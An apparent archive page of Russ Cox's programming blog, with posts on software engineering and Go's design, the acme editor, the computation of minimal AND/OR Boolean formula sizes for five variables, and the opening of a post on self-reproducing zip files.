Alexander Potapenko, “Testing Chromium: ThreadSanitizer v2, a next-gen data race detector,” April 2014. https://blog.chromium.org/2014/04/testing-chromium-threadsanitizer-v2.html ↩
NIST, “National Vulnerability Database – Search and Statistics.” https://nvd.nist.gov/vuln/search ↩
Russ Cox, “Regular Expression Matching with a Trigram Index, or How Google Code Search Worked,” January 2012. https://swtch.com/~rsc/regexp/regexp4.html ↩
Google, “Google Open Source: Using Third-Party Licenses.” https://opensource.google.com/docs/thirdparty/licenses/#banned ↩
Nathan Willis, “A single Node of failure,” LWN, March 2016. https://lwn.net/Articles/681410/ ↩
Charlie Reis, “Multi-process Architecture,” September 2008. https://blog.chromium.org/2008/09/multi-process-architecture.html ↩
Adam Langley, “Chromium’s seccomp Sandbox,” August 2009. https://www.imperialviolet.org/2009/08/26/seccomp.html ↩
Nicolas Lacasse, “Open-sourcing gVisor, a sandboxed container runtime,” May 2018. https://cloud.google.com/blog/products/gcp/open-sourcing-gvisor-a-sandboxed-container-runtime ↩
Adam Baldwin, “Details about the event-stream incident,” November 2018. https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident ↩
Russ Cox, “RE2: a principled approach to regular expression matching,” March 2010. https://opensource.googleblog.com/2010/03/re2-principled-approach-to-regular.html ↩
Rob Pike, “Go Proverbs,” November 2015. https://go-proverbs.github.io/ ↩
U.S. House of Representatives Committee on Oversight and Government Reform, “The Equifax Data Breach,” Majority Staff Report, 115th Congress, December 2018. https://republicans-oversight.house.gov/wp-content/uploads/2018/12/Equifax-Report.pdf ↩
Russ Cox, “The Principles of Versioning in Go,” GopherCon Singapore, May 2018. https://www.youtube.com/watch?v=F8nrpe0XWRg ↩
Rob Pike, Sean Dorward, Robert Griesemer, and Sean Quinlan, “Interpreting the Data: Parallel Analysis with Sawzall,” Scientific Programming Journal, vol. 13 (2005). https://doi.org/10.1155/2005/962135 ↩

Coda

A version of this post was published in ACM Queue (March-April 2019) and then Communications of the ACM (August 2019) under the title “Surviving Software Dependencies.”

What is Software Engineering?

2018-05-30T10:00:00-04:00

Nearly all of Go’s distinctive design decisions were aimed at making software engineering simpler and easier. We’ve said this often. The canonical reference is Rob Pike’s 2012 article, “Go at Google: Language Design in the Service of Software Engineering.” But what is software engineering?

Software engineering is what happens to programming
when you add time and other programmers.

Programming means getting a program working. You have a problem to solve, you write some Go code, you run it, you get your answer, you’re done. That’s programming, and that’s difficult enough by itself. But what if that code has to keep working, day after day? What if five other programmers need to work on the code too? Then you start to think about version control systems, to track how the code changes over time and to coordinate with the other programmers. You add unit tests, to make sure bugs you fix are not reintroduced over time, not by you six months from now, and not by that new team member who’s unfamiliar with the code. You think about modularity and design patterns, to divide the program into parts that team members can work on mostly independently. You use tools to help you find bugs earlier. You look for ways to make programs as clear as possible, so that bugs are less likely. You make sure that small changes can be tested quickly, even in large programs. You’re doing all of this because your programming has turned into software engineering.

(This definition and explanation of software engineering is my riff on an original theme by my Google colleague Titus Winters, whose preferred phrasing is “software engineering is programming integrated over time.” It’s worth seven minutes of your time to see his presentation of this idea at CppCon 2017, from 8:17 to 15:00 in the video.)

As I said earlier, nearly all of Go’s distinctive design decisions have been motivated by concerns about software engineering, by trying to accommodate time and other programmers into the daily practice of programming.

For example, most people think that we format Go code with gofmt to make code look nicer or to end debates among team members about program layout. But the most important reason for gofmt is that if an algorithm defines how Go source code is formatted, then programs, like goimports or gorename or go fix, can edit the source code more easily, without introducing spurious formatting changes when writing the code back. This helps you maintain code over time.

As another example, Go import paths are URLs. If code said import "uuid", you’d have to ask which uuid package. Searching for uuid on godoc.org turns up dozens of packages. If instead the code says import "github.com/pborman/uuid", now it’s clear which package we mean. Using URLs avoids ambiguity and also reuses an existing mechanism for giving out names, making it simpler and easier to coordinate with other programmers.

Continuing the example, Go import paths are written in Go source files, not in a separate build configuration file. This makes Go source files self-contained, which makes it easier to understand, modify, and copy them. These decisions, and more, were all made with the goal of simplifying software engineering.

In later posts I will talk specifically about why versions are important for software engineering and how software engineering concerns motivate the design changes from dep to vgo.

Go and Dogma

2017-01-09T09:00:00-05:00

[Cross-posting from last year’s Go contributors AMA on Reddit, because it’s still important to remember.]

One of the perks of working on Go these past years has been the chance to have many great discussions with other language designers and implementers, for example about how well various design decisions worked out or the common problems of implementing what look like very different languages (for example both Go and Haskell need some kind of “green threads”, so there are more shared runtime challenges than you might expect). In one such conversation, when I was talking to a group of early Lisp hackers, one of them pointed out that these discussions are basically never dogmatic. Designers and implementers remember working through the good arguments on both sides of a particular decision, and they’re often eager to hear about someone else’s experience with what happens when you make that decision differently. Contrast that kind of discussion with the heated arguments or overly zealous statements you sometimes see from users of the same languages. There’s a real disconnect, possibly because the users don’t have the experience of weighing the arguments on both sides and don’t realize how easily a particular decision might have gone the other way.

Language design and implementation is engineering. We make decisions using evaluations of costs and benefits or, if we must, using predictions of those based on past experience. I think we have an important responsibility to explain both sides of a particular decision, to make clear that the arguments for an alternate decision are actually good ones that we weighed and balanced, and to avoid the suggestion that particular design decisions approach dogma. I hope the Reddit AMA as well as discussion on golang-nuts or StackOverflow or the Go Forum or at conferences help with that.

But we need help from everyone. Remember that none of the decisions in Go are infallible; they’re just our best attempts at the time we made them, not wisdom received on stone tablets. If someone asks why Go does X instead of Y, please try to present the engineering reasons fairly, including for Y, and avoid argument solely by appeal to authority. It’s too easy to fall into the “well that’s just not how it’s done here” trap. And now that I know about and watch for that trap, I see it in nearly every technical community, although some more than others.

A Tour of Acme

2012-09-17T11:00:00-04:00

People I work with recognize my computer easily: it's the one with nothing but yellow windows and blue bars on the screen. That's the text editor acme, written by Rob Pike for Plan 9 in the early 1990s. Acme focuses entirely on the idea of text as user interface. It's difficult to explain acme without seeing it, though, so I've put together a screencast explaining the basics of acme and showing a brief programming session. Remember as you watch the video that the 854x480 screen is quite cramped. Usually you'd run acme on a larger screen: even my MacBook Air has almost four times as much screen real estate.

The video doesn't show everything acme can do, nor does it show all the ways you can use it. Even small idioms like where you type text to be loaded or executed vary from user to user. To learn more about acme, read Rob Pike's paper “Acme: A User Interface for Programmers” and then try it.

Acme runs on most operating systems. If you use Plan 9 from Bell Labs, you already have it. If you use FreeBSD, Linux, OS X, or most other Unix clones, you can get it as part of Plan 9 from User Space. If you use Windows, I suggest trying acme as packaged in acme stand alone complex, which is based on the Inferno programming environment.

Mini-FAQ:

Q. Can I use scalable fonts? A. On the Mac, yes. If you run acme -f /mnt/font/Monaco/16a/font you get 16-point anti-aliased Monaco as your font, served via fontsrv. If you'd like to add X11 support to fontsrv, I'd be happy to apply the patch.
Q. Do I need X11 to build on the Mac? A. No. The build will complain that it cannot build ‘snarfer’ but it should complete otherwise. You probably don't need snarfer.

If you're interested in history, the predecessor to acme was called help. Rob Pike's paper “A Minimalist Global User Interface” describes it. See also “The Text Editor sam”

Correction: the smiley program in the video was written by Ken Thompson. I got it from Dennis Ritchie, the more meticulous archivist of the pair.

Minimal Boolean Formulas

2011-05-18T00:00:00-04:00

28. That's the minimum number of AND or OR operators you need in order to write any Boolean function of five variables. Alex Healy and I computed that in April 2010. Until then, I believe no one had ever known that little fact. This post describes how we computed it and how we almost got scooped by Knuth's Volume 4A which considers the problem for AND, OR, and XOR.

A Naive Brute Force Approach

Any Boolean function of two variables can be written with at most 3 AND or OR operators: the parity function on two variables X XOR Y is (X AND Y') OR (X' AND Y), where X' denotes “not X.” We can shorten the notation by writing AND and OR like multiplication and addition: X XOR Y = X*Y' + X'*Y.

For three variables, parity is also a hardest function, requiring 9 operators: X XOR Y XOR Z = (X*Z'+X'*Z+Y')*(X*Z+X'*Z'+Y).

For four variables, parity is still a hardest function, requiring 15 operators: W XOR X XOR Y XOR Z = (X*Z'+X'*Z+W'*Y+W*Y')*(X*Z+X'*Z'+W*Y+W'*Y').

The sequence so far prompts a few questions. Is parity always a hardest function? Does the minimum number of operators alternate between 2ⁿ−1 and 2ⁿ+1?

I computed these results in January 2001 after hearing the problem from Neil Sloane, who suggested it as a variant of a similar problem first studied by Claude Shannon.

The program I wrote to compute a(4) computes the minimum number of operators for every Boolean function of n variables in order to find the largest minimum over all functions. There are 2⁴ = 16 settings of four variables, and each function can pick its own value for each setting, so there are 2¹⁶ different functions. To make matters worse, you build new functions by taking pairs of old functions and joining them with AND or OR. 2¹⁶ different functions means 2¹⁶·2¹⁶ = 2³² pairs of functions.

The program I wrote was a mangling of the Floyd-Warshall all-pairs shortest paths algorithm. That algorithm is:

// Floyd-Warshall all pairs shortest path
func compute():
    for each node i
        for each node j
            dist[i][j] = direct distance, or ∞

    for each node k
        for each node i
            for each node j
                d = dist[i][k] + dist[k][j]
                if d < dist[i][j]
                    dist[i][j] = d
    return

The algorithm begins with the distance table dist[i][j] set to an actual distance if i is connected to j and infinity otherwise. Then each round updates the table to account for paths going through the node k: if it's shorter to go from i to k to j, it saves that shorter distance in the table. The nodes are numbered from 0 to n, so the variables i, j, k are simply integers. Because there are only n nodes, we know we'll be done after the outer loop finishes.

The program I wrote to find minimum Boolean formula sizes is an adaptation, substituting formula sizes for distance.

// Algorithm 1
func compute()
    for each function f
        size[f] = ∞

    for each single variable function f = v
        size[f] = 0

    loop
        changed = false
        for each function f
            for each function g
                d = size[f] + 1 + size[g]
                if d < size[f OR g]
                    size[f OR g] = d
                    changed = true
                if d < size[f AND g]
                    size[f AND g] = d
                    changed = true
        if not changed
            return

Algorithm 1 runs the same kind of iterative update loop as the Floyd-Warshall algorithm, but it isn't as obvious when you can stop, because you don't know the maximum formula size beforehand. So it runs until a round doesn't find any new functions to make, iterating until it finds a fixed point.

The pseudocode above glosses over some details, such as the fact that the per-function loops can iterate over a queue of functions known to have finite size, so that each loop omits the functions that aren't yet known. That's only a constant factor improvement, but it's a useful one.

Another important detail missing above is the representation of functions. The most convenient representation is a binary truth table. For example, if we are computing the complexity of two-variable functions, there are four possible inputs, which we can number as follows.

X	Y	Value
false	false	00₂ = 0
false	true	01₂ = 1
true	false	10₂ = 2
true	true	11₂ = 3

The functions are then the 4-bit numbers giving the value of the function for each input. For example, function 13 = 1101₂ is true for all inputs except X=false Y=true. Three-variable functions correspond to 3-bit inputs generating 8-bit truth tables, and so on.

This representation has two key advantages. The first is that the numbering is dense, so that you can implement a map keyed by function using a simple array. The second is that the operations “f AND g” and “f OR g” can be implemented using bitwise operators: the truth table for “f AND g” is the bitwise AND of the truth tables for f and g.

That program worked well enough in 2001 to compute the minimum number of operators necessary to write any 1-, 2-, 3-, and 4-variable Boolean function. Each round takes asymptotically O(2^2ⁿ·2^2ⁿ) = O(2^2ⁿ⁺¹) time, and the number of rounds needed is O(the final answer). The answer for n=4 is 15, so the computation required on the order of 15·2^2⁵ = 15·2³² iterations of the innermost loop. That was plausible on the computer I was using at the time, but the answer for n=5, likely around 30, would need 30·2⁶⁴ iterations to compute, which seemed well out of reach. At the time, it seemed plausible that parity was always a hardest function and that the minimum size would continue to alternate between 2ⁿ−1 and 2ⁿ+1. It's a nice pattern.

Exploiting Symmetry

Five years later, though, Alex Healy and I got to talking about this sequence, and Alex shot down both conjectures using results from the theory of circuit complexity. (Theorists!) Neil Sloane added this note to the entry for the sequence in his Online Encyclopedia of Integer Sequences:

%E A056287 Russ Cox conjectures that X₁ XOR ... XOR X_n is always a worst f and that a(5) = 33 and a(6) = 63. But (Jan 27 2006) Alex Healy points out that this conjecture is definitely false for large n. So what is a(5)?

Indeed. What is a(5)? No one knew, and it wasn't obvious how to find out.

In January 2010, Alex and I started looking into ways to speed up the computation for a(5). 30·2⁶⁴ is too many iterations but maybe we could find ways to cut that number.

In general, if we can identify a class of functions f whose members are guaranteed to have the same complexity, then we can save just one representative of the class as long as we recreate the entire class in the loop body. What used to be:

for each function f
    for each function g
        visit f AND g
        visit f OR g

can be rewritten as

for each canonical function f
    for each canonical function g
        for each ff equivalent to f
            for each gg equivalent to g
                visit ff AND gg
                visit ff OR gg

That doesn't look like an improvement: it's doing all the same work. But it can open the door to new optimizations depending on the equivalences chosen. For example, the functions “f” and “¬f” are guaranteed to have the same complexity, by DeMorgan's laws. If we keep just one of those two on the lists that “for each function” iterates over, we can unroll the inner two loops, producing:

for each canonical function f
    for each canonical function g
        visit f OR g
        visit f AND g
        visit ¬f OR g
        visit ¬f AND g
        visit f OR ¬g
        visit f AND ¬g
        visit ¬f OR ¬g
        visit ¬f AND ¬g

That's still not an improvement, but it's no worse. Each of the two loops considers half as many functions but the inner iteration is four times longer. Now we can notice that half of tests aren't worth doing: “f AND g” is the negation of “¬f OR ¬g,” and so on, so only half of them are necessary.

Let's suppose that when choosing between “f” and “¬f” we keep the one that is false when presented with all true inputs. (This has the nice property that f ^ (int32(f) >> 31) is the truth table for the canonical form of f.) Then we can tell which combinations above will produce canonical functions when f and g are already canonical:

for each canonical function f
    for each canonical function g
        visit f OR g
        visit f AND g
        visit ¬f AND g
        visit f AND ¬g

That's a factor of two improvement over the original loop.

Another observation is that permuting the inputs to a function doesn't change its complexity: “f(V, W, X, Y, Z)” and “f(Z, Y, X, W, V)” will have the same minimum size. For complex functions, each of the 5! = 120 permutations will produce a different truth table. A factor of 120 reduction in storage is good but again we have the problem of expanding the class in the iteration. This time, there's a different trick for reducing the work in the innermost iteration. Since we only need to produce one member of the equivalence class, it doesn't make sense to permute the inputs to both f and g. Instead, permuting just the inputs to f while fixing g is guaranteed to hit at least one member of each class that permuting both f and g would. So we gain the factor of 120 twice in the loops and lose it once in the iteration, for a net savings of 120. (In some ways, this is the same trick we did with “f” vs “¬f.”)

A final observation is that negating any of the inputs to the function doesn't change its complexity, because X and X' have the same complexity. The same argument we used for permutations applies here, for another constant factor of 2⁵ = 32.

The code stores a single function for each equivalence class and then recomputes the equivalent functions for f, but not g.

for each canonical function f
    for each function ff equivalent to f
        for each canonical function g
            visit ff OR g
            visit ff AND g
            visit ¬ff AND g
            visit ff AND ¬g

In all, we just got a savings of 2·120·32 = 7680, cutting the total number of iterations from 30·2⁶⁴ = 5×10²⁰ to 7×10¹⁶. If you figure we can do around 10⁹ iterations per second, that's still 800 days of CPU time.

The full algorithm at this point is:

// Algorithm 2
func compute():
    for each function f
        size[f] = ∞

    for each single variable function f = v
        size[f] = 0

    loop
        changed = false
        for each canonical function f
            for each function ff equivalent to f
                for each canonical function g
                    d = size[ff] + 1 + size[g]
                    changed |= visit(d, ff OR g)
                    changed |= visit(d, ff AND g)
                    changed |= visit(d, ff AND ¬g)
                    changed |= visit(d, ¬ff AND g)
        if not changed
            return

func visit(d, fg):
    if size[fg] != ∞
        return false

    record fg as canonical

    for each function ffgg equivalent to fg
        size[ffgg] = d
    return true

The helper function “visit” must set the size not only of its argument fg but also all equivalent functions under permutation or inversion of the inputs, so that future tests will see that they have been computed.

Methodical Exploration

There's one final improvement we can make. The approach of looping until things stop changing considers each function pair multiple times as their sizes go down. Instead, we can consider functions in order of complexity, so that the main loop builds first all the functions of minimum complexity 1, then all the functions of minimum complexity 2, and so on. If we do that, we'll consider each function pair at most once. We can stop when all functions are accounted for.

Applying this idea to Algorithm 1 (before canonicalization) yields:

// Algorithm 3
func compute()
    for each function f
        size[f] = ∞

    for each single variable function f = v
        size[f] = 0

    for k = 1 to ∞
        for each function f
            for each function g of size k − size(f) − 1
                if size[f AND g] == ∞
                    size[f AND g] = k
                    nsize++
                if size[f OR g] == ∞
                    size[f OR g] = k
                    nsize++
        if nsize == 2^2ⁿ
            return

Applying the idea to Algorithm 2 (after canonicalization) yields:

// Algorithm 4
func compute():
    for each function f
        size[f] = ∞

    for each single variable function f = v
        size[f] = 0

    for k = 1 to ∞
        for each canonical function f
            for each function ff equivalent to f
                for each canonical function g of size k − size(f) − 1
                    visit(k, ff OR g)
                    visit(k, ff AND g)
                    visit(k, ff AND ¬g)
                    visit(k, ¬ff AND g)
        if nvisited == 2^2ⁿ
            return

func visit(d, fg):
    if size[fg] != ∞
        return

    record fg as canonical

    for each function ffgg equivalent to fg
        if size[ffgg] != ∞
            size[ffgg] = d
            nvisited += 2  // counts ffgg and ¬ffgg
    return

The original loop in Algorithms 1 and 2 considered each pair f, g in every iteration of the loop after they were computed. The new loop in Algorithms 3 and 4 considers each pair f, g only once, when k = size(f) + size(g) + 1. This removes the leading factor of 30 (the number of times we expected the first loop to run) from our estimation of the run time. Now the expected number of iterations is around 2⁶⁴/7680 = 2.4×10¹⁵. If we can do 10⁹ iterations per second, that's only 28 days of CPU time, which I can deliver if you can wait a month.

Our estimate does not include the fact that not all function pairs need to be considered. For example, if the maximum size is 30, then the functions of size 14 need never be paired against the functions of size 16, because any result would have size 14+1+16 = 31. So even 2.4×10¹⁵ is an overestimate, but it's in the right ballpark. (With hindsight I can report that only 1.7×10¹⁴ pairs need to be considered but also that our estimate of 10⁹ iterations per second was optimistic. The actual calculation ran for 20 days, an average of about 10⁸ iterations per second.)

Endgame: Directed Search

A month is still a long time to wait, and we can do better. Near the end (after k is bigger than, say, 22), we are exploring the fairly large space of function pairs in hopes of finding a fairly small number of remaining functions. At that point it makes sense to change from the bottom-up “bang things together and see what we make” to the top-down “try to make this one of these specific functions.” That is, the core of the current search is:

for each canonical function f
    for each function ff equivalent to f
        for each canonical function g of size k − size(f) − 1
            visit(k, ff OR g)
            visit(k, ff AND g)
            visit(k, ff AND ¬g)
            visit(k, ¬ff AND g)

We can change it to:

for each missing function fg
    for each canonical function g
        for all possible f such that one of these holds
                * fg = f OR g
                * fg = f AND g
                * fg = ¬f AND g
                * fg = f AND ¬g
            if size[f] == k − size(g) − 1
                visit(k, fg)
                next fg

By the time we're at the end, exploring all the possible f to make the missing functions—a directed search—is much less work than the brute force of exploring all combinations.

As an example, suppose we are looking for f such that fg = f OR g. The equation is only possible to satisfy if fg OR g == fg. That is, if g has any extraneous 1 bits, no f will work, so we can move on. Otherwise, the remaining condition is that f AND ¬g == fg AND ¬g. That is, for the bit positions where g is 0, f must match fg. The other bits of f (the bits where g has 1s) can take any value. We can enumerate the possible f values by recursively trying all possible values for the “don't care” bits.

func find(x, any, xsize):
    if size(x) == xsize
        return x
    while any != 0
        bit = any AND −any  // rightmost 1 bit in any
        any = any AND ¬bit
        if f = find(x OR bit, any, xsize) succeeds
            return f
    return failure

It doesn't matter which 1 bit we choose for the recursion, but finding the rightmost 1 bit is cheap: it is isolated by the (admittedly surprising) expression “any AND −any.”

Given find, the loop above can try these four cases:

Formula	Condition	Base x	“Any” bits
fg = f OR g	fg OR g == fg	fg AND ¬g	g
fg = f OR ¬g	fg OR ¬g == fg	fg AND g	¬g
¬fg = f OR g	¬fg OR g == fg	¬fg AND ¬g	g
¬fg = f OR ¬g	¬fg OR ¬g == ¬fg	¬fg AND g	¬g

Rewriting the Boolean expressions to use only the four OR forms means that we only need to write the “adding bits” version of find.

The final algorithm is:

// Algorithm 5
func compute():
    for each function f
        size[f] = ∞

    for each single variable function f = v
        size[f] = 0

    // Generate functions.
    for k = 1 to max_generate
        for each canonical function f
            for each function ff equivalent to f
                for each canonical function g of size k − size(f) − 1
                    visit(k, ff OR g)
                    visit(k, ff AND g)
                    visit(k, ff AND ¬g)
                    visit(k, ¬ff AND g)

    // Search for functions.
    for k = max_generate+1 to ∞
        for each missing function fg
            for each canonical function g
                fsize = k − size(g) − 1
                if fg OR g == fg
                    if f = find(fg AND ¬g, g, fsize) succeeds
                        visit(k, fg)
                        next fg
                if fg OR ¬g == fg
                    if f = find(fg AND g, ¬g, fsize) succeeds
                        visit(k, fg)
                        next fg
                if ¬fg OR g == ¬fg
                    if f = find(¬fg AND ¬g, g, fsize) succeeds
                        visit(k, fg)
                        next fg
                if ¬fg OR ¬g == ¬fg
                    if f = find(¬fg AND g, ¬g, fsize) succeeds
                        visit(k, fg)
                        next fg
        if nvisited == 2^2ⁿ
            return

func visit(d, fg):
    if size[fg] != ∞
        return

    record fg as canonical

    for each function ffgg equivalent to fg
        if size[ffgg] != ∞
            size[ffgg] = d
            nvisited += 2  // counts ffgg and ¬ffgg
    return

func find(x, any, xsize):
    if size(x) == xsize
        return x
    while any != 0
        bit = any AND −any  // rightmost 1 bit in any
        any = any AND ¬bit
        if f = find(x OR bit, any, xsize) succeeds
            return f
    return failure

To get a sense of the speedup here, and to check my work, I ran the program using both algorithms on a 2.53 GHz Intel Core 2 Duo E7200.

	————— # of Functions —————			———— Time ————
Size	Canonical	All	All, Cumulative	Generate	Search
0	1	10	10
1	2	82	92	< 0.1 seconds	3.4 minutes
2	2	640	732	< 0.1 seconds	7.2 minutes
3	7	4420	5152	< 0.1 seconds	12.3 minutes
4	19	25276	29696	< 0.1 seconds	30.1 minutes
5	44	117440	147136	< 0.1 seconds	1.3 hours
6	142	515040	662176	< 0.1 seconds	3.5 hours
7	436	1999608	2661784	0.2 seconds	11.6 hours
8	1209	6598400	9260184	0.6 seconds	1.7 days
9	3307	19577332	28837516	1.7 seconds	4.9 days
10	7741	50822560	79660076	4.6 seconds	[ 10 days ? ]
11	17257	114619264	194279340	10.8 seconds	[ 20 days ? ]
12	31851	221301008	415580348	21.7 seconds	[ 50 days ? ]
13	53901	374704776	790285124	38.5 seconds	[ 80 days ? ]
14	75248	533594528	1323879652	58.7 seconds	[ 100 days ? ]
15	94572	667653642	1991533294	1.5 minutes	[ 120 days ? ]
16	98237	697228760	2688762054	2.1 minutes	[ 120 days ? ]
17	89342	628589440	3317351494	4.1 minutes	[ 90 days ? ]
18	66951	468552896	3785904390	9.1 minutes	[ 50 days ? ]
19	41664	287647616	4073552006	23.4 minutes	[ 30 days ? ]
20	21481	144079832	4217631838	57.0 minutes	[ 10 days ? ]
21	8680	55538224	4273170062	2.4 hours	2.5 days
22	2730	16099568	4289269630	5.2 hours	11.7 hours
23	937	4428800	4293698430	11.2 hours	2.2 hours
24	228	959328	4294657758	22.0 hours	33.2 minutes
25	103	283200	4294940958	1.7 days	4.0 minutes
26	21	22224	4294963182	2.9 days	42 seconds
27	10	3602	4294966784	4.7 days	2.4 seconds
28	3	512	4294967296	[ 7 days ? ]	0.1 seconds

The bracketed times are estimates based on the work involved: I did not wait that long for the intermediate search steps. The search algorithm is quite a bit worse than generate until there are very few functions left to find. However, it comes in handy just when it is most useful: when the generate algorithm has slowed to a crawl. If we run generate through formulas of size 22 and then switch to search for 23 onward, we can run the whole computation in just over half a day of CPU time.

The computation of a(5) identified the sizes of all 616,126 canonical Boolean functions of 5 inputs. In contrast, there are just over 200 trillion canonical Boolean functions of 6 inputs. Determining a(6) is unlikely to happen by brute force computation, no matter what clever tricks we use.

Adding XOR

We've assumed the use of just AND and OR as our basis for the Boolean formulas. If we also allow XOR, functions can be written using many fewer operators. In particular, a hardest function for the 1-, 2-, 3-, and 4-input cases—parity—is now trivial. Knuth examines the complexity of 5-input Boolean functions using AND, OR, and XOR in detail in The Art of Computer Programming, Volume 4A. Section 7.1.2's Algorithm L is the same as our Algorithm 3 above, given for computing 4-input functions. Knuth mentions that to adapt it for 5-input functions one must treat only canonical functions and gives results for 5-input functions with XOR allowed. So another way to check our work is to add XOR to our Algorithm 4 and check that our results match Knuth's.

Because the minimum formula sizes are smaller (at most 12), the computation of sizes with XOR is much faster than before:

	————— # of Functions —————
Size	Canonical	All	All, Cumulative	Time
0	1	10	10
1	3	102	112	< 0.1 seconds
2	5	1140	1252	< 0.1 seconds
3	20	11570	12822	< 0.1 seconds
4	93	109826	122648	< 0.1 seconds
5	366	936440	1059088	0.1 seconds
6	1730	7236880	8295968	0.7 seconds
7	8782	47739088	56035056	4.5 seconds
8	40297	250674320	306709376	24.0 seconds
9	141422	955812256	1262521632	95.5 seconds
10	273277	1945383936	3207905568	200.7 seconds
11	145707	1055912608	4263818176	121.2 seconds
12	4423	31149120	4294967296	65.0 seconds

Knuth does not discuss anything like Algorithm 5, because the search for specific functions does not apply to the AND, OR, and XOR basis. XOR is a non-monotone function (it can both turn bits on and turn bits off), so there is no test like our “if fg OR g == fg” and no small set of “don't care” bits to trim the search for f. The search for an appropriate f in the XOR case would have to try all f of the right size, which is exactly what Algorithm 4 already does.

Volume 4A also considers the problem of building minimal circuits, which are like formulas but can use common subexpressions additional times for free, and the problem of building the shallowest possible circuits. See Section 7.1.2 for all the details.

Code and Web Site

The web site boolean-oracle.swtch.com lets you type in a Boolean expression and gives back the minimal formula for it. It uses tables generated while running Algorithm 5; those tables and the programs described in this post are also available on the site.

Postscript: Generating All Permutations and Inversions

The algorithms given above depend crucially on the step “for each function ff equivalent to f,” which generates all the ff obtained by permuting or inverting inputs to f, but I did not explain how to do that. We already saw that we can manipulate the binary truth table representation directly to turn f into ¬f and to compute combinations of functions. We can also manipulate the binary representation directly to invert a specific input or swap a pair of adjacent inputs. Using those operations we can cycle through all the equivalent functions.

To invert a specific input, let's consider the structure of the truth table. The index of a bit in the truth table encodes the inputs for that entry. For example, the low bit of the index gives the value of the first input. So the even-numbered bits—at indices 0, 2, 4, 6, ...—correspond to the first input being false, while the odd-numbered bits—at indices 1, 3, 5, 7, ...—correspond to the first input being true. Changing just that bit in the index corresponds to changing the single variable, so indices 0, 1 differ only in the value of the first input, as do 2, 3, and 4, 5, and 6, 7, and so on. Given the truth table for f(V, W, X, Y, Z) we can compute the truth table for f(¬V, W, X, Y, Z) by swapping adjacent bit pairs in the original truth table. Even better, we can do all the swaps in parallel using a bitwise operation. To invert a different input, we swap larger runs of bits.

Function		Truth Table (`f` = f(V, W, X, Y, Z))
f(¬V, W, X, Y, Z)		`(f&0x55555555)<< 1 \| (f>> 1)&0x55555555`
f(V, ¬W, X, Y, Z)		`(f&0x33333333)<< 2 \| (f>> 2)&0x33333333`
f(V, W, ¬X, Y, Z)		`(f&0x0f0f0f0f)<< 4 \| (f>> 4)&0x0f0f0f0f`
f(V, W, X, ¬Y, Z)		`(f&0x00ff00ff)<< 8 \| (f>> 8)&0x00ff00ff`
f(V, W, X, Y, ¬Z)		`(f&0x0000ffff)<<16 \| (f>>16)&0x0000ffff`

Being able to invert a specific input lets us consider all possible inversions by building them up one at a time. The Gray code lets us enumerate all possible 5-bit input codes while changing only 1 bit at a time as we move from one input to the next:

0, 1, 3, 2, 6, 7, 5, 4,
12, 13, 15, 14, 10, 11, 9, 8,
24, 25, 27, 26, 30, 31, 29, 28,
20, 21, 23, 22, 18, 19, 17, 16

This minimizes the number of inversions we need: to consider all 32 cases, we only need 31 inversion operations. In contrast, visiting the 5-bit input codes in the usual binary order 0, 1, 2, 3, 4, ... would often need to change multiple bits, like when changing from 3 to 4.

To swap a pair of adjacent inputs, we can again take advantage of the truth table. For a pair of inputs, there are four cases: 00, 01, 10, and 11. We can leave the 00 and 11 cases alone, because they are invariant under swapping, and concentrate on swapping the 01 and 10 bits. The first two inputs change most often in the truth table: each run of 4 bits corresponds to those four cases. In each run, we want to leave the first and fourth alone and swap the second and third. For later inputs, the four cases consist of sections of bits instead of single bits.

Function		Truth Table (`f` = f(V, W, X, Y, Z))
f(W, V, X, Y, Z)		`f&0x99999999 \| (f&0x22222222)<<1 \| (f>>1)&0x22222222`
f(V, X, W, Y, Z)		`f&0xc3c3c3c3 \| (f&0x0c0c0c0c)<<1 \| (f>>1)&0x0c0c0c0c`
f(V, W, Y, X, Z)		`f&0xf00ff00f \| (f&0x00f000f0)<<1 \| (f>>1)&0x00f000f0`
f(V, W, X, Z, Y)		`f&0xff0000ff \| (f&0x0000ff00)<<8 \| (f>>8)&0x0000ff00`

Being able to swap a pair of adjacent inputs lets us consider all possible permutations by building them up one at a time. Again it is convenient to have a way to visit all permutations by applying only one swap at a time. Here Volume 4A comes to the rescue. Section 7.2.1.2 is titled “Generating All Permutations,” and Knuth delivers many algorithms to do just that. The most convenient for our purposes is Algorithm P, which generates a sequence that considers all permutations exactly once with only a single swap of adjacent inputs between steps. Knuth calls it Algorithm P because it corresponds to the “Plain changes” algorithm used by bell ringers in 17th century England to ring a set of bells in all possible permutations. The algorithm is described in a manuscript written around 1653!

We can examine all possible permutations and inversions by nesting a loop over all permutations inside a loop over all inversions, and in fact that's what my program does. Knuth does one better, though: his Exercise 7.2.1.2-20 suggests that it is possible to build up all the possibilities using only adjacent swaps and inversion of the first input. Negating arbitrary inputs is not hard, though, and still does minimal work, so the code sticks with Gray codes and Plain changes.

Zip Files All The Way Down

2010-03-18T00:00:00-04:00

Stephen Hawking begins A Brief History of Time with this story:

A well-known scientist (some say it was Bertrand Russell) once gave a public lecture on astronomy. He described how the earth orbits around the sun and how the sun, in turn, orbits around the center of a vast collection of stars called our galaxy. At the end of the lecture, a little old lady at the back of the room got up and said: “What you have told us is rubbish. The world is really a flat plate supported on the back of a giant tortoise.” The scientist gave a superior smile before replying, “What is the tortoise standing on?” “You're very clever, young man, very clever,” said the old lady. “But it's turtles all the way down!”

Scientists today are pretty sure that the universe is not actually turtles all the way down, but we can create that kind of situation in other contexts. For example, here we have video monitors all the way down and set theory books all the way down, and shopping carts all the way down.

And here's a computer storage equivalent: look inside r.zip. It's zip files all the way down: each one contains another zip file under the name r/r.zip. (For the die-hard Unix fans, r.tar.gz is gzipped tar files all the way down.) Like the line of shopping carts, it never ends, because it loops back onto itself: the zip file contains itself! And it's probably less work to put together a self-reproducing zip file than to put together all those shopping carts, at least if you're the kind of person who would read this blog. This post explains how.

Before we get to self-reproducing zip files, though, we need to take a brief detour into self-reproducing programs.

Self-reproducing programs

The idea of self-reproducing programs dates back to the 1960s. My favorite statement of the problem is the one Ken Thompson gave in his 1983 Turing Award address:

In college, before video games, we would amuse ourselves by posing programming exercises. One of the favorites was to write the shortest self-reproducing program. Since this is an exercise divorced from reality, the usual vehicle was FORTRAN. Actually, FORTRAN was the language of choice for the same reason that three-legged races are popular.

